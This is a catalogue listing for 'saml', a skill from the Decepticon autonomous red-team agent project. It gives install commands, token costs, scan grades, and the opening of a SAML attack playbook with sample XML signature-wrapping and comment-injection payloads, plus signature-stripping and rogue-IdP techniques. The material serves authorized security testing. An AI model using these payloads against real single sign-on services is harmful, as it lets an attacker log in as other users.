saml

saml is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 40 tokens per session (1,429 once invoked), scanned A, original, Apache-2.0.

A guide to attacks against SAML 2.0, an XML-based standard commonly used for enterprise single sign-on. It focuses on weaknesses in signed login assertions and identity-provider metadata.

In plain words
What is it for?
It is for inspecting SAML login flows, decoding requests and responses, and testing XML signature wrapping, signature removal, assertion forgery, and comment injection.
Why use it?
It helps reveal situations where a service validates one part of a SAML message but uses another part to decide who is logged in.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It is for inspecting SAML login flows, decoding requests and responses, and testing XML signature wrapping, signature removal, assertion forgery, and comment injection.

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Install with agentmods
npx agentmods add skills/purpleailab/decepticon/saml
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,491 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill saml
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

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Per session 40 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,429 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Prompt Injection · line 38
    Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.
    Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00040 $0.01429
Opus 5 $0.00020 $0.00714
Sonnet 5 $0.00008 $0.00286
Haiku 4.5 $0.00004 $0.00143

Measured 9d ago against content hash de22e63c1166, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

saml scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

  • saml — 100% identical, 0 lines differ
packages/decepticon/decepticon/skills/standard/exploit/web/saml/SKILL.md · 146 lines

How it starts

The opening of the file, as written. The whole thing — 146 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SAML Attack Playbook

SAML is XML-based SSO used heavily in enterprise. Signatures protect assertions but XML's structural flexibility creates many opportunities to confuse signature validators.

1. Capture the flow

# Identify SAML in recon — look for:
# - /SAML/login, /sso/saml, /saml2/login
# - Form param "SAMLRequest" or "SAMLResponse" (base64 + deflate)
# - SP metadata: /SAML/metadata, /sp/metadata.xml
# - IdP metadata: /idp/metadata.xml

# Decode a SAML message in Burp via the SAML Raider plugin
# Or manually
echo "$SAMLResponse_base64" | base64 -d | xmllint --format -

2. XML Signature Wrapping (XSW) attacks

The classic SAML bug class. 8 canonical variants. SAML Raider implements all of them.

XSW1: Wrap signed Assertion inside Response, add evil assertion

<Response>
  <ds:Signature>...</ds:Signature>  <!-- signs the inner Assertion -->
  <Assertion id="evil">
    <Subject>attacker</Subject>
    <AttributeStatement>...</AttributeStatement>
  </Assertion>
  <!-- original signed assertion moved into a deeper child or as sibling of evil -->
  <Assertion id="orig">
    <Subject>victim</Subject>
    ...
  </Assertion>
</Response>

Parser-checks-signature on orig (still valid). App-reads-claims from evil (first assertion). Bypass complete.

XSW2-8

Vary which element is signed, what gets added where, what gets renamed. Run all 8 via SAML Raider's automated XSW tester.

3. Comment injection

SAML libraries that strip XML comments BEFORE signature validation but the application reads the un-stripped version (or vice versa):

<Subject>[email protected]<!-- foo -->.evil.com</Subject>

Some parsers see [email protected]; others see [email protected].

Famous: Cisco DUO + others in 2018 (CVE-2018-0489).

4. Signature stripping

Just delete the <ds:Signature> element. Some servers fail to enforce signature presence.

5. Self-signed assertion (when allowed by misconfig)

Some SPs accept assertions from any IdP listed in their trust store. If the trust store is overly broad, attacker stands up own IdP, generates own cert, IdP signs assertion claiming victim identity.

Read the full file on GitHub · 146 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 146 lines · 40 tokens per session scan A de22e63c1166

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saml is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 40 tokens to every session and 1,429 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.